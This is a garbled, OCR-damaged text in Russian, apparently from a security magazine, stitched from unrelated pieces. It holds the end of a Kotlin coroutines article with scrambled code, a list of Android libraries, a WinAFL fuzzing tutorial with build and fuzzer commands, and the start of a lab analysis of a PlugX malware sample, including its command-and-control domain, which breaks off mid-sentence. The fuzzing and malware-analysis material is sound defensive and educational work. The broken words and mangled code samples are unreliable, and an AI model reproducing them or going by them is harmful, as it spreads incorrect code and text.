// Printing 3 
// Printing 4 
// JobCancellationException... 
// Cancelled successfully 

Бла года ря тому что завер шение корути ны при водит к выб росу исклю чения,
мы можем исполь зовать блок , что бы кор рек тно зак рыть все исполь- 

зуемые корути ной ресур сы (базы дан ных, фай лы, сетевые соеди нения).
Одна ко мы уже не смо жем в этом бло ке запус кать дру гие корути ны
или вызывать suspend-фун кции. Эти дей ствия будут зап рещены пос ле
перехо да корути ны в сос тояние . Единс твен ный выход из этой

ситу ации — исполь зовать блок , который
поз волит выз вать suspend-фун кции, но не будет реаги ровать на сиг нал
завер шения:

finally

Cancelling
withContext(NonCancellable)

job  launch( ) {
   try {

200       delay( )
       println("Coroutine finished")
   } finally {
       println("Finally")

        withContext(NonCancellable) {
1000L           delay( )

           println("Cleanup done")
       }
   }
}

Еще один спо соб выпол нить код пос ле завер шения корути ны — это метод
, который будет выз ван незави симо от того, как была

завер шена корути на — при нуди тель но или она прос то отра бота ла свое вре- 
мя.

invokeOnCompletion()

suspend fun main(): Unit = coroutineScope {
   val job = launch {

1000       delay( )
   }
   job.invokeOnCompletion { exception: Throwable? -> 
       println("Finished")
   }

400   delay( )
   job.cancelAndJoin()
}
// Finished 

За вер шение корути ны про исхо дит в точ ках оста нов ки. Но что делать, если
в коде корути ны нет точек оста нов ки (нет вызовов suspend-фун кций)?

Один из вари антов — исполь зовать фун кцию . Эта suspend-фун- 
кция при оста новит корути ну и тут же ее возоб новит, но по пути обра бота ет
сиг нал завер шения. Вто рой вари ант: Boolean-поле , дос таточ но

прос то про верить его зна чение и, если оно рав но false, закон чить работу
внут ри корути ны. Еще один вари ант — выз вать фун кцию .

Она выб росит исклю чение , если корути на уже

получи ла сиг нал завер шения.

yield()

isActive

ensureActive()
CancellationException

ÁÈÁËÈÎÒÅÊÈ

 — веб-генера тор ико нок для при ложе ний;• IconKitchen
 — оче ред ная биб лиоте ка для управле ния навига цией;• Simple Stack

 — okHttp-лог гер;• Customizable OkHttp Logging Interceptor
 — обер тка для удоб ной работы с биб лиоте ками ана лити ки;• Gadget

 — кар точки со сма хива нием для Jetpack Compose;• Swipeable-Card
 — набор фун кций-рас ширений для клас са Path;• Pathway

 — набор слай деров для Jetpack Compose;• Compose-sliders
 — кросс-плат формен ная биб лиоте ка для получе ния

мес тополо жения;
• Abc-kmm-location

 — биб лиоте ка матема тичес ких фун кций в сти ле GLSL;• Kotlin-math
 — ани миро ван ный View для валида ции паролей;• PasswordValidationView

 — биб лиоте ка для работы с сис темны ми кон такта ми;• Contacts-android
 — Gradle-пла гин для оцен ки пок рытия кода Kotlin тес тами;• Kover

 — биб лиоте ка для удоб ной ани мации. • Spruce
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WinAFL — это форк зна мени того фаз зера AFL, пред назна- 
чен ный для фаз зинга прог рамм с зак рытым исходным кодом
под Windows. Работа WinAFL опи сана в докумен тации,
но прой ти путь от заг рузки тул зы до успешно го фаз зинга
и пер вых кра шей не так прос то, как может показать ся
на пер вый взгляд.

Что такое фаззинг
Ес ли ты сов сем нез наком с этой тех никой поис ка уяз вимос тей, то можешь
обра тить ся к одной из наших ввод ных ста тей:

«
»

• Фаз зинг, фаз зить, фаз зер: ищем уяз вимос ти в прог раммах, сетевых сер- 
висах, драй верах
« »• Luke, I am your fuzzer. Авто мати зиру ем поиск уяз вимос тей в прог раммах

Так же по теме фаз зинга рекомен дуем сле дующие статьи:
«

»
• Фаз зинг гла зами прог раммис та. Как в Google авто мати зиру ют поиск

багов
« »• Рас пуши пин гви на! Раз бира ем спо собы фаз зинга ядра Linux

Так же как и AFL, WinAFL собира ет информа цию о пок рытии кода. Делать
это он может тре мя спо соба ми:

ди нами чес кая инс тру мен тация с помощью DynamoRIO;•
ста тичес кая инс тру мен тация с помощью Syzygy;•
трей синг с помощью IntelPT.•

Мы оста новим ся на клас сичес ком пер вом вари анте как самом прос том
и понят ном.

Фаз зит WinAFL сле дующим обра зом:
1. В качес тве одно го из аргу мен тов ты дол жен передать сме щение так

называ емой целевой фун кции внут ри бинаря.
2. WinAFL инжектит ся в прог рамму и ждет, пока не нач нет выпол нятся

целевая фун кция.
3. WinAFL начина ет записы вать информа цию о пок рытии кода.
4. Во вре мя выхода из целевой фун кции WinAFL при оста нав лива ет работу

прог раммы, под меня ет вход ной файл, переза писы вает RIP/EIP адре сом
начала фун кции и про дол жает работу.

5. Ког да чис ло таких ите раций дос тигнет некото рого мак сималь ного зна- 
чения (его ты опре деля ешь сам), WinAFL пол ностью переза пус кает прог- 
рамму.

Та кой под ход поз воля ет не тра тить лиш нее вре мя на запуск и ини циали зацию
прог раммы и зна читель но уве личить ско рость фаз зинга.

ÒÐÅÁÎÂÀÍÈß Ê ÔÓÍÊÖÈÈ

Из логики работы WinAFL вытека ют прос тые тре бова ния к целевой фун кции
для фаз зинга. Целевая фун кция дол жна:
1. От кры вать вход ной файл.
2. Пар сить файл и завер шать свою работу мак сималь но чис то: зак рывать

файл и все откры тые хен длы, не менять гло баль ные перемен ные и так
далее. В реаль нос ти не всег да получа ется най ти иде аль ную фун кцию пар- 
синга, но об этом погово рим поз же.

3. Вы пол нение дол жно доходить до воз вра та из фун кции, выб ранной
для фаз зинга.

ÊÎÌÏÈËßÖÈß WINAFL

В  уже лежат ском пилиро ван ные бинари, но у
меня они прос то не захоте ли работать, поэто му для того, что бы не приш лось
раз бирать ся с лиш ними проб лемами, ском пилиру ем WinAFL вмес те с самой
пос ледней вер сией DynamoRIO. К счастью, WinAFL отно сит ся к тем нем- 
ногочис ленным про ектам, которые ком пилиру ются без проб лем на любой
машине.

ре пози тории WinAFL на GitHub

1. Ска чай и уста нови Visual Studio 2019 Community Edition (при уста нов ке
выбери пункт «Раз работ ка клас сичес ких при ложе ний на C++».

2. По ка у тебя уста нав лива ется Visual Studio, ска чай 
.

пос ледний релиз
DynamoRIO

3. Ска чай исходни ки WinAFL из .ре пози тория
4. Пос ле уста нов ки Visual Studio в меню «Пуск» у тебя появят ся ярлы ки

для откры тия коман дной стро ки Visual Studio: x86 Native Tools Command
Prompt for VS 2019 и x64 Native Tools Command Prompt for VS 2019.
Выбирай в соот ветс твии с бит ностью прог раммы, которую ты будешь фаз- 
зить.

5. В коман дной стро ке Visual Studio перей ди в пап ку с исходни ками WinAFL.
Для ком пиляции 32-бит ной вер сии выпол ни сле дующие коман ды:

mkdir build32
cd build32
cmake -G"Visual Studio 16 2019" -A Win32 .. -DDynamoRIO_DIR=..\
path\to\DynamoRIO\cmake -DINTELPT=0 -DUSE_COLOR=1
cmake --build . --config Release

Для ком пиляции 64-бит ной вер сии — такие:

mkdir build64
cd build64
cmake -G"Visual Studio 16 2019" -A x64 .. -DDynamoRIO_DIR=..\path\
to\DynamoRIO\cmake -DINTELPT=0 -DUSE_COLOR=1
cmake --build . --config Release

В моем слу чае эти коман ды выг лядят так:

cd C:\winafl_build\winafl-master\
mkdir build32
cd build32
cmake -G"Visual Studio 16 2019" -A Win32 .. -DDynamoRIO_DIR=C:\
winafl_build\DynamoRIO-Windows-8.0.18915\cmake -DINTELPT=0 
-DUSE_COLOR=1
cmake --build . --config Release

6. Пос ле ком пиляции в пап ке 

будут лежать рабочие бинари WinAFL. Ско пируй их и пап ку с DynamoRIO
на вир туал ку, которую будешь исполь зовать для фаз зинга.

<WinAFL dir>\build<32/64>\bin\Release

ÏÎÈÑÊ ÏÎÄÕÎÄßÙÅÉ ÖÅËÈ ÄËß ÔÀÇÇÈÍÃÀ

AFL соз давал ся для фаз зинга прог рамм, которые пар сят фай лы. Хотя WinAFL
мож но при менять для прог рамм, исполь зующих дру гие спо собы вво да, путь
наимень шего соп ротив ления — это выбор цели, исполь зующей имен но фай- 
лы.

Ес ли же тебе, как и мне, нра вит ся допол нитель ный чел лендж, ты можешь
пофаз зить сетевые прог раммы. В этом слу чае тебе при дет ся исполь зовать

 из сос тава WinAFL либо писать свою собс твен ную

обер тку.

custom_net_fuzzer.dll

INFO

К сожале нию,  будет
работать не так быс тро, потому что он отправ ляет
сетевые зап росы сво ей цели, а на их обра бот ку
будет тра тить ся допол нитель ное вре мя.

custom_net_fuzzer

Од нако фаз зинг сетевых при ложе ний выходит за рам ки этой статьи. Оставь
ком мента рий, если хочешь отдель ную статью на эту тему.

Та ким обра зом:
иде аль ная цель работа ет с фай лами;•
при нима ет путь к фай лу как аргу мент коман дной стро ки;•
мо дуль, содер жащий фун кции, который ты хочешь пофаз зить, дол жен быть
ском пилиро ван не ста тичес ки. В про тив ном слу чае WinAFL будет инс тру- 
мен тировать мно гочис ленные биб лиотеч ные фун кции. Это не при несет
допол нитель ного резуль тата, но силь но замед лит фаз зинг.

•

Уди витель но, но боль шинс тво раз работ чиков не дума ют о WinAFL, ког да
пишут свои прог раммы. Поэто му если твоя цель не соот ветс тву ет этим кри- 
тери ям, то ее все рав но мож но при желании адап тировать к WinAFL.

Продолжение статьи →
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ÏÎÈÑÊ ÔÓÍÊÖÈÈ ÄËß ÔÀÇÇÈÍÃÀ ÂÍÓÒÐÈ ÏÐÎÃÐÀÌÌÛ

Мы погово рили об иде аль ной цели, но реаль ная может быть от иде ала
далека, поэто му для при мера я взял прог рамму из ста рых запасов, которая
соб рана ста тичес ки, а ее основной исполня емый файл занима ет 8 Мбайт.

У нее мно го вся ких воз можнос тей, так что, думаю, ее будет инте рес но
пофаз зить.

Моя цель при нима ет на вход фай лы, поэто му пер вое, что сде лаем пос ле
заг рузки бинаря в IDA Pro, — это най дем фун кцию  в импортах

и пос мотрим перек рес тные ссыл ки на нее.

CreateFileA

Мы сра зу же можем уви деть, что она исполь зует ся в четырех фун кци ях. Вмес- 
то того что бы ревер сить каж дую из них в ста тике, пос мотрим в отладчи ке,
какая имен но фун кция вызыва ется для пар синга фай ла.

От кро ем нашу прог рамму в отладчи ке (я обыч но исполь зую x64dbg)
и добавим аргу мент к коман дной стро ке — тес товый файл. Отку да я его взял?
Прос то открыл прог рамму, выс тавил мак сималь ное чис ло опций для докумен- 
та и сох ранил его на диск.

Даль ше на вклад ке Symbols выберем биб лиоте ку kernelbase.dll и пос тавим
точ ки оста нова на экспор ты фун кций  и .CreateFileA CreateFileW

Один любопыт ный момент. «Офи циаль но» фун кции  пре дос- 
тавля ются биб лиоте кой kernel32.dll. Но если пос мотреть вни матель нее, то
это биб лиоте ка содер жит толь ко jmp на соот ветс тву ющие фун кции
kernelbase.dll.

CreateFile*

Я пред почитаю ста вить брей ки имен но на экспор ты в соот ветс тву ющей биб- 
лиоте ке. Это зас тра хует нас от слу чая, ког да мы ошиб лись и эти фун кции
вызыва ет не основной исполня емый модуль (.exe), а, нап ример, какие-то
из биб лиотек нашей цели. Так же это полез но, если наша прог рамма захочет
выз вать фун кцию с помощью .GetProcAddress

Пос ле уста нов ки брейк-пой нтов про дол жим выпол нение прог раммы и уви- 
дим, как она совер шает пер вый вызов к . Но если мы обра тим

вни мание на аргу мен ты, то пой мем, что наша цель хочет открыть какой-то
из сво их слу жеб ных фай лов, не наш тес товый файл.

CreateFileA

Про дол жим выпол нение прог раммы, пока не уви дим в спис ке аргу мен тов
путь к нашему тес товому фай лу.

Пе рей дем на вклад ку Call Stack и уви дим, что  вызыва ется не из
нашей прог раммы, а из фун кции  биб лиоте ки mfc42.

CreateFileA
CFile::Open

Так как мы толь ко ищем фун кцию для фаз зинга, нам нуж но пом нить, что она
дол жна при нимать путь к вход ному фай лу, делать что-то с фай лом и завер- 
шать свою работу нас толь ко чис то, нас коль ко это воз можно. Поэто му мы
будем под нимать ся по сте ку вызовов, пока не най дем под ходящую фун кцию.

Ско пиру ем адрес воз вра та из , перей дем

по нему в IDA и пос мотрим на фун кцию. Мы сра зу же уви дим, что эта фун кция
при нима ет два аргу мен та, которые далее исполь зуют ся как аргу мен ты к двум
вызовам .

CFile::Open (125ACBB0)

CFile::Open

Су дя по про тоти пам  из докумен тации , наши перемен ные
 и  — это пути к фай лам. Обра ти вни мание, что в IDA путь к фай лу переда- 

ется фун кции  в качес тве вто рого аргу мен та, так как исполь зует- 

ся .

CFile::Open MSDN
a1 a2

CFile::Open
thiscall

virtual BOOL Open(
   LPCTSTR lpszFileName,
   UINT nOpenFlags,
   CFileException* pError = NULL);

virtual BOOL Open(
   LPCTSTR lpszFileName,
   UINT nOpenFlags,
   CAtlTransactionManager* pTM,
   CFileException* pError = NULL);

Эта фун кция уже выг лядит очень инте рес но, и сто ит пос тарать ся рас смот реть
ее под робнее. Для это го я пос тавлю брей ки на начало и конец фун кции, что- 
бы изу чить ее аргу мен ты и понять, что с ними про исхо дит к кон цу фун кции.

Сде лав это, переза пус тим прог рамму и уви дим, что два аргу мен та —
это пути к нашему тес товому фай лу и вре мен ному фай лу.

Са мое вре мя пос мотреть на содер жимое этих фай лов. Судя по содер жимому
нашего тес тового фай ла, он сжат, зашиф рован или каким-то обра зом
закоди рован.

Вре мен ный же файл прос то пуст.

Вы пол ним фун кцию до кон ца и уви дим, что наш тес товый файл все
еще зашиф рован, а вре мен ный файл по-преж нему пуст. Что ж, уби раем точ ки
оста нова с этой фун кции и про дол жаем отсле живать вызовы .

Сле дующее обра щение к  дает нам такой стек вызовов.

CreateFileA
CreateFileA

Фун кция, которая вызыва ет , ока зыва ется очень похожей на пре- 

дыду щую. Точ но так же пос тавим точ ки оста нова в ее начале и кон це и пос- 
мотрим, что будет.

CFile::Open

Спи сок аргу мен тов этой фун кции напоми нает то, что мы уже видели.

Сра баты вает брейк в кон це этой фун кции, и во вре мен ном фай ле мы видим
рас шифро ван ное, а ско рее даже разар хивиро ван ное содер жимое тес тового
фай ла.

Та ким обра зом, эта фун кция разар хивиру ет файл. Поэк спе римен тировав
с прог раммой, я выяс нил, что она при нима ет на вход как сжа тые, так и нес- 
жатые фай лы. Нам это на руку — с помощью фаз зинга нес жатых фай лов мы
смо жем добить ся гораз до более пол ного пок рытия кода и, как следс твие,
доб рать ся до более инте рес ных фич.

Пос мотрим, смо жем ли мы най ти фун кцию, которая выпол няет какие-то
дей ствия с уже рас шифро ван ным фай лом.

Один из под ходов к выбору фун кции для фаз зинга — это поиск фун кции,
которая одной из пер вых начина ет вза имо дей ство вать с вход ным фай лом.
Дви гаясь вверх по сте ку вызовов, най дем самую пер вую фун кцию, которая
при нима ет на вход путь к тес товому фай лу.

Фун кция для фаз зинга дол жна выпол нять ся до кон ца, поэто му ста вим точ ку
оста нова на конец фун кции, что бы быть уве рен ными, что это тре бова ние
выпол нится, и жмем F9 в отладчи ке.

Так же убе дим ся, что эта фун кция пос ле воз вра та зак рыва ет все откры тые
фай лы. Для это го про верим спи сок хен длов про цес са в Process Explorer —
нашего тес тового фай ла там нет.

Ви дим, что наша фун кция соот ветс тву ет тре бова ниям WinAFL. Поп робу ем
начать фаз зить!

ÀÐÃÓÌÅÍÒÛ WINAFL, ÏÎÄÂÎÄÍÛÅ ÊÀÌÍÈ

Мои аргу мен ты для WinAFL выг лядят при мер но так. Давай раз берем
по поряд ку самые важ ные из них.

afl-fuzz.exe -i c:\inputs -o c:\winafl_build\out-plain -D C:\
winafl_build\DynamoRIO-Windows-8.0.18915\bin32 -t 40000 -x C:\
winafl_build\test.dict -f test.test -- -coverage_module target.exe 
-fuzz_iterations 1000 -target_module target.exe -target_offset 
0xA4390 -nargs 3 -call_convention thiscall -- "C:\Program Files (
x86)\target.exe" "@@"

Все аргу мен ты делят ся на три груп пы, которые отде ляют ся друг от дру га дву- 
мя про чер ками.

Пер вая груп па — аргу мен ты WinAFL:
 — путь к бинарям DynamoRIO;• D
 — мак сималь ный тайм-аут для одной ите рации фаз зинга. Если целевая

фун кция не выпол нится до кон ца за это вре мя, WinAFL пос чита ет, что прог- 
рамма завис ла, и переза пус тит ее;

• t

 — путь к сло варю;• x
 — с помощью это го парамет ра мож но передать имя и рас ширение вход- 

ного фай ла прог раммы. Полез но, ког да прог рамма реша ет, как будет пар- 
сить файл, в зависи мос ти от его рас ширения.

• f

Вто рая груп па — аргу мен ты для биб лиоте ки , которая инс тру мен- 
тиру ет целевой про цесс:

winafl.dll

 — модуль для сня тия пок рытия. Может быть нес коль- 
ко;

• coverage_module

 — модуль с фун кци ей для фаз зинга. Может быть толь ко
один;

• target_module

 — вир туаль ное сме щение фун кции от базово го адре са
модуля;

• target_offset

 — количес тво ите раций фаз зинга меж ду переза пус- 
ками прог раммы. Чем мень ше это зна чение, тем чаще WinAFL будет
переза пус кать всю прог рамму целиком, что будет занимать допол нитель- 
ное вре мя. Одна ко если дол го фаз зить прог рамму без переза пус ка, могут
накопить ся нежела тель ные побоч ные эффекты;

• fuzz_iterations

 — сог лашение о вызове. Под держи вают ся ,
, ;

• call_convention sdtcall
cdecl thiscall

 — количес тво аргу мен тов фун кции. This тоже счи тает ся за аргу- 
мент.

• nargs

Третья груп па — путь к самой прог рамме. WinAFL изме нит  на пол ный путь

к вход ному фай лу.

@@

ÏÐÎÊÀ×ÊÀ WINAFL — ÄÎÁÀÂËßÅÌ ÑËÎÂÀÐÜ

На ша цель прос тая — уве личить количес тво путей, находи мых за секун ду.
Для это го ты можешь рас парал лелить работу фаз зера, поиг рать с чис лом

 или поп робовать фаз зить умнее. И в этом тебе поможет

сло варь.

fuzz_iterations

WinAFL уме ет вос ста нав ливать син таксис фор мата дан ных цели (нап- 
ример, AFL смог самос тоятель но 

). Обна ружен ные син такси чес кие еди- 
ницы он исполь зует для генера ции новых кей сов для фаз зинга. Это занима ет
зна читель ное вре мя, и здесь ты можешь ему силь но помочь, ведь кто, как не
ты, луч ше все го зна ет фор мат дан ных тво ей прог раммы? Для это го нуж но
сос тавить сло варь в фор мате . Нап ример,

вот начало моего сло варя:

соз дать валид ные JPEG-фай лы
без какой-либо допол нитель ной инфы

<имя переменной>="значение"

x0="ProgVer"
x1="WrittenByVersion"
x2="FileType"
x3="Created"
x4="Modified"
x5="Name"
x6="Core"

Итак, мы наш ли фун кцию для фаз зинга, попут но рас шифро вав вход ной файл
прог раммы, соз дали сло варь, подоб рали аргу мен ты и можем наконец-то
начать фаз зить!

И пер вые же минуты фаз зинга при носят пер вые кра ши! Но не всег да все про- 
исхо дит так глад ко. Ниже я при вел нес коль ко осо бен ностей WinAFL, которые
могут тебе помочь (или помешать) отла дить про цесс фаз зинга.

ÎÑÎÁÅÍÍÎÑÒÈ WINAFL

Ïîáî÷íûå ýôôåêòû

Вна чале я писал, что фун кция для фаз зинга не дол жна иметь побоч ных
эффектов. Но это в иде але. Час то быва ет так, что раз работ чики забыва ют
добавить в свои прог раммы такие кра сивые фун кции, и при ходит ся иметь
дело с тем, что есть.

Так как некото рые эффекты накап лива ются, воз можно, тебе удас тся
успешно пофаз зить, умень шив чис ло  — так WinAFL будет
переза пус кать твою прог рамму чаще. Это негатив но пов лияет на ско рость,
но зато умень шит количес тво побоч ных эффектов.

fuzz_iterations

Äåáàã-ðåæèì

Ес ли WinAFL отка зыва ется работать, поп робуй запус тить его в дебаг-режиме.
Для это го добавь параметр  к аргу мен там биб лиоте ки инс тру мен- 

тации. Пос ле это го в текущем катало ге у тебя появит ся тек сто вый лог.
При нор маль ной работе в нем дол жно быть оди нако вое количес тво стро чек

 и . Так же дол жна при сутс тво- 
вать фра за Everything appears to be running normally.

-debug

In pre_fuzz_handler In post_fuzz_handler

Не забудь вык лючить дебаг-режим! С ним WinAFL отка жет ся фаз зить, даже
если все работа ет, ссы лаясь на то, что целевая прог рамма вылете ла
по тайм-ауту. Не верь ему и вык лючай отладку.

Ýìóëÿöèÿ ðàáîòû WinAFL

Иног да при фаз зинге прог рамму так перемы кает, что она кра шит ся даже
на под готови тель ном эта пе работы WinAFL, пос ле чего он разум но отка зыва- 
ется дей ство вать даль ше. Что бы хоть как-то в этом разоб рать ся, ты можешь
вруч ную эму лиро вать работу фаз зера. Для это го ставь точ ку оста нова
на начало и конец фун кции для фаз зинга. Ког да выпол нение дос тигнет кон ца
фун кции, правь аргу мен ты, рав няй стек, меняй RIP/EIP на начало фун кции —
и так, пока что-то не сло мает ся.

Ñòàáèëüíîñòü

Stability — очень важ ный параметр. Он показы вает, нас коль ко кар та пок рытия
кода меня ется от ите рации к ите рации. 100% — на каж дой ите рации прог- 
рамма ведет себя абсо лют но оди нако во. 0% — каж дая ите рация пол ностью
отли чает ся от пре дыду щей. Разуме ется, нам нуж но зна чение где-то посере- 
дине. Автор AFL решил, что ори енти ровать ся надо где-то на 85%. В нашем
при мере ста биль ность дер жится на уров не 9,5%. Полагаю, это может быть
свя зано в том чис ле с тем, что прог рамма соб рана ста тичес ки и на ста биль-
ность негатив но вли яют какие-то из исполь зуемых биб лиотеч ных фун кций.
Воз можно, и муль типоточ ность тоже пов лияла на это.

Íàáîð âõîäíûõ ôàéëîâ

Чем боль ше пок рытие кода, тем выше шанс най ти баг. А мак сималь ного пок- 
рытия кода мож но добить ся, соз дав хороший набор вход ных фай лов. Если ты
задал ся целью пофаз зить пар серы фай лов каких-то хорошо извес тных фор- 
матов, то, как говорит ся, гугл в помощь: некото рым иссле дова телям уда- 
валось соб рать вну шитель ный набор фай лов имен но с помощью пар синга
выдачи Google. Такой набор потом мож но миними зиро вать с помощью
скрип та  из того же репози тория WinAFL. А если ты, как и я,
пред почита ешь пар силки фай лов проп риетар ных фор матов, то поис ковик
не так час то будет спо собен помочь. При ходит ся посидеть и поковы рять ся
в прог рамме, что бы нагене риро вать набор инте рес ных фай лов.

wina-cmin.py

Îòó÷àåì ïðîãðàììó ðóãàòüñÿ

Моя прог рамма доволь но мно гос ловна и ругалась на невер ный фор мат вход- 
ного фай ла, показы вая всплы вающие сооб щения.

Та кие проб лемы ты лег ко смо жешь вылечить, про пат чив исполь зуемую прог- 
раммой биб лиоте ку или саму прог рамму.

https://docs.microsoft.com/en-us/cpp/mfc/reference/cfile-class?view=msvc-160#open
https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html
http://winafl-cmin.py/
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ВЗЛОМ

С самого детс тва нам при вива ют важ ные и полез ные при- 
выч ки: мыть руки перед едой, надевать на морозе 

 шап ку, запус кать иссле дуемую мал варь исклю читель но
в вир туаль ном окру жении. Тес товая лабора тория
для безопас ного изу чения вре донос ных прог рамм у нас уже
есть. Теперь давай иссле дуем вре донос ный файл семей ства
PlugX, рас смот рим про цесс ана лиза модулей, изу чим
сетевое вза имо дей ствие и раз работа ем сиг натуры для его
детек та.

под штан- 
ники

INFO

О том, как из под ручных матери алов с помощью
сме кал ки и уме лых рук пос тро ить 
лабора торию для ана лиза вре доно сов, под робно
рас ска зано в статье «

».

скво реч ник

Код под над зором. Соз даем
вир туаль ную лабора торию для ана лиза мал вари

Стенд, который мы с тобой соб рали в прош лый раз, поз воля ет быс тро иссле-
довать обна ружен ный вре донос ный файл, соз давать собс твен ные сиг натуры
и выяв лять заражен ные компь юте ры в локаль ной сети. Сетевую сиг натуру мы
будем писать для Suricata IDS, а фай ловую — для мно гоп латфор менной прог- 
раммы .YARA

Ис сле дуемый модуль PlugX содер жит три фай ла:  и две
динами чес кие биб лиоте ки, в  из которых сос редото чена основная вре- 
донос ная фун кци ональ ность.

ис полня емый файл
од ной

WARNING

Преж де чем начать иссле дова ние вре донос ного
фай ла, необ ходимо сде лать сни мок сос тояния
вир туаль ных машин с Kali Linux и Windows 10,
что бы в любой момент мож но было вер нуть ся к их
пер воначаль ным нас трой кам.

ÈÍÑÒÐÓÌÅÍÒÀÐÈÉ

Мно гие опи сыва емые в статье ути литы находят ся в катало ге 

на рабочем сто ле вир туаль ной машины с Windows 10. Для даль нейше го
иссле дова ния вре донос ного фай ла вос поль зуем ся сле дующим соф том:

FLARE

1.  — прог рамма для опре деле ния типов фай лов.DIE
2.  — прог рамма для поис ка арте фак тов исполня емых фай лов.PeStudio
3.  — инте рак тивный дизас сем блер, исполь зуемый для реверс-инжи- 

нирин га.
IDA Pro

4.  — инс тру мент для ана лиза сетевых про токо лов.Wireshark
5.  — исполь зует ся в качес тве проз рачно го прок си-сер вера

для ана лиза вза имо дей ствия вре донос ного фай ла по про токо лу HTTPS.
Burp Suite

6.  — сис тема монито рин га сетевой безопас ности на осно ве сте ка
Elasticsearch, Kibana, Logstash, Suricata.
SELKS

7.  — ска нер IOCs.Loki Scanner
8.  — прог рамма для тес тирова ния и соз дания пра вил YARA.YARA Editor
9.  — ути лита для ана лиза вызыва емых WinAPI-фун кций иссле дуемо- 

го вре доно са.
ApiLoger

Ана лиз вре донос ного модуля мы будем про водить в три эта па:
1. Ста тичес кий ана лиз.
2. По веден ческий ана лиз.
3. Соз дание сиг натур для выяв ления модуля.

ÑÒÀÒÈ×ÅÑÊÈÉ ÀÍÀËÈÇ

Что бы узнать, какой ком пилятор и ком понов щик исполь зовал ся при соз дании
нашего исполня емо го фай ла, а так же опре делить, упа кован он или нет, скор-
мим его ути лите DIE.

Ана лиз исполня емо го фай ла с помощью ути литы DIE

Тул за утвер жда ет, что иссле дуемый файл раз работан на C/C++ и соб ран
для 32-раз рядных опе раци онных сис тем. Теперь про пус тим бинар ник через
ути литу PeStudio, что бы най ти все воз можные арте фак ты. Сре ди них нам осо- 
бен но инте рес ны вре мен ные мет ки ком пиляции фай ла, заг ружа емые биб- 
лиоте ки, исполь зуемые ресур сы, информа ция о вер сии исполня емо го фай ла,
харак терные стро ки, а так же отла доч ная информа ция и файл сбор ки
(Manifest). Все это при годит ся нам при соз дании фай ловой сиг натуры.

Итак, при поис ке строк мы обна ружи ли информа цию о заг ружа емой биб- 
лиоте ке и фун кции вызова.

Най ден ные стро ки в исполня емом фай ле

В стол бце  отоб ража ется стро ка , которая сиг нализи рует

об исполь зовании некой динами чес кой биб лиоте ки. Стро ка 
содер жит информа цию о фун кции экспор та.

value Goshawk.dll
ServerEntryFun

За кинем иссле дуемый файл в IDA Pro, най дем стро ку  и учас- 

ток кода, в котором про исхо дит заг рузка динами чес кой биб лиоте ки. Для это-
го перей дем в раз дел Views → OpenSubviews → Strings, най дем стро ку

, наж мем кла вишу , что бы перей ти непос редс твен но к коду заг- 

рузки либы, и деком пилиру ем этот код нажати ем кла виши .

Goshawk.dll

Goshawk.dll X
F5

Учас ток кода заг рузки динами чес кой биб лиоте ки Goshawk.dll

В дизас сем блер ном лис тинге обна ружи вают ся стро ки 

и . Они при годят ся нам при написа нии фай ловой сиг натуры.

ServerEntyFun
Goshawk.dll

Как мы зна ем, основная фун кци ональ ность модуля рас положе на
в динами чес кой биб лиоте ке. Нас тало вре мя ее про ана лизи ровать — заг- 
рузим биб лиоте ку в DIE, что бы опре делить ком пилятор и ком понов щик.

Ана лиз динами чес кой биб лиоте ки с помощью ути литы DIE

Те перь по тра диции пос мотрим, что ска жет о нашей биб лиоте ке PeStudio.

Ис поль зуемые биб лиоте ки

Как вид но из скрин шота, вре донос исполь зует биб лиоте ку ws32_32.dll, пред- 
назна чен ную для сетевых под клю чений TCP/IP, а так же динами чес кую биб- 
лиоте ку vtcp.dll. На вклад ке Strings обна ружи ваем сле дующее.

Най ден ные стро ки в динами чес кой биб лиоте ке

Файл  исполь зует ся для записи оши бок в резуль тате работы вре- 

донос ного фай ла.

Debug.log

Да лее заг рузим иссле дуемый файл в IDA Pro и пос мотрим учас тки кода.
Так как мы иссле дуем динами чес кую биб лиоте ку, то в пер вую оче редь изу чим
фун кции экспор та, для это го нуж но перей ти на вклад ку Exports.

Ис поль зуемые фун кции экспор та

Наж мем два раза фун кцию  и иссле дуем ее код.ServerEntryFun

Учас ток кода фун кции экспор та

Как видим, фун кция  соз дает поток, который выпол няет ся

в пре делах вир туаль ного адресно го прос транс тва вызыва юще го про цес са.
Параметр  ука зыва ет на адрес фун кции, выпол няющей ся

в запущен ном потоке. В этой фун кции содер жится код рас шифров ки кон- 
фигура ции модуля и код шиф рования сетево го вза имо дей ствия с управля- 
ющим сер вером.

CreateThread

StartAddress

ÏÎÂÅÄÅÍ×ÅÑÊÈÉ ÀÍÀËÈÇ

Про ведем поведен ческий ана лиз, а имен но рас смот рим, какой тра фик
генери рует вре донос ный файл. Для это го обра тим ся к вир туаль ной машине
с Kali Linux, запус тим Inetsim для эму ляции интернет-сер висов и Burp Suite
для получе ния HTTPS-тра фика. Еще нам понадо бит ся Wireshark, что бы про- 
ана лизи ровать весь тра фик с хос та Windows 10.

За пус тим на вир туаль ной машине Windows 10 вре донос ный файл,
а затем — ути литу ApiLogger из под папки  катало га .Utilites FLARE

Ре зуль тат работы ути литы ApiLogger

Фун кция  получа ет IP-адрес для домена 

, DNS-сер вер, раз верну тый с помощью Inetsim, резол вит домен по адре- 
су 10.10.10.1 (адрес вир туаль ной машины Kali Linux). Далее соз дает ся сокет
для вза имо дей ствия с хос том 10.10.10.1 (IP-адрес вир туаль ной машины Kali
Linux) по пор ту 443. Фун кция , реали зован ная в динами чес кой биб лиоте- 
ке , отправ ляет дан ные раз мером 22 бай та.

gethostbyname www.dicemention.
com

send
ws2_32.dll
Пе рехо дим в IDA Pro на вклад ку Imports и находим эту фун кцию.

Спи сок фун кций импорта

Оты щем учас ток кода, который отве чает за сетевое вза имо дей ствие. Глу- 
бокие рас копки это го кода зай мут слиш ком мно го вре мени, а наша задача —
изу чить его фун кци ональ ность и раз работать сиг натуры. Весь алго ритм шиф- 
рования сетево го вза имо дей ствия осно ван на двух эта пах: рас шифров ке
заголов ка, который содер жит информа цию о раз мере сжа тых дан ных, и рас- 
шифров ке собс твен но самих переда ваемых дан ных.

Прос мотрим сетевой тра фик и дан ные, получен ные в Burp Suite на вир- 
туаль ной машине с Kali Linux.

DNS-зап рос

В сетевом тра фике мы обна ружи ли зап рос на получе ние домен ного име ни
управля юще го сер вера. Пос мотрим генери руемый тра фик по пор ту 443.
Иссле дуемый модуль не исполь зует про токол HTTPS, поэто му отклю чим Burp
Suite и запус тим  (netcat — ути лита коман дной стро ки для чте ния и записи

